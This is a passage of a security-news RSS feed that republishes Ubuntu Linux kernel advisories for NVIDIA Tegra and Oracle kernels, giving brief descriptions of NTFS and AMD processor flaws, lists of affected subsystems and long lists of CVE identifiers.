CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8576-2: Linux kernel (NVIDIA Tegra) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:31:00 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236,
CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265,
CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287,
CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066,
CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434,
CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551,
CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202,
CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207,
CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223,
CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230,
CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236,
CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251,
CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262,
CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269,
CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296,
CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334,
CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365,
CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426,
CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430,
CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449,
CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841,
CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869,
CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875,
CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890,
CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285,
CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096,
CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287,
CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296,
CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055,
CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085,
CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089,
CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133,
CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164,
CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173,
CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8595-1: Linux kernel (Oracle) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:20:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
